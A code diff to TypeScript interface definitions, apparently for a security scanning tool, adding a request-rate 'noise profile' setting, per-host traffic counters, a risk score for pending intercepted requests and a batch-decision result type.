@@ -962,6 +962,23 @@ export interface Settings {
// Render limits of IM messages; 0 = no truncation. The backend answers 400 outside the bounds.
notify_summary_max_runes?: number; // summary characters per finding, 0-4000, default 120
notify_assets_max_shown?: number; // asset names listed per finding, 0-50, default 3
// Target noise profile; the stored setting wins over ARTEX_NOISE_PROFILE. Applies to the next request.
noise_profile?: NoiseProfileName;
}
export type NoiseProfileName = "off" | "quiet" | "balanced" | "aggressive";
// GET /api/settings/noise: the current profile and its per-host counters (current minute, no reset).
export interface NoiseStatus {
profile: NoiseProfileName;
hosts: {
host: string;
rpm: number;
peak_rpm: number;
peak_inflight: number;
inflight: number;
duplicates_avoided: number;
}[];
}
// ---- Vulnerability IM push ----
@@ -1368,6 +1385,20 @@ export interface InterceptPending {
reason: string; // the rule's message or the model's verdict reason (model verdicts carry a [model] prefix)
decided_at?: string;
created_at: string;
// Deterministic risk score, computed by the server when a pending row is read.
risk?: InterceptRisk;
}
export interface InterceptRisk {
score: number; // 0..100
level: "low" | "medium" | "high";
reasons: string[];
}
export interface InterceptBatchDecideResult {
decided: number;
failed: number;
results: { id: number; ok: boolean; error?: string }[];
}
// JudgeConfig: global config for model fallback approval (the model decides only when no interception rule matches).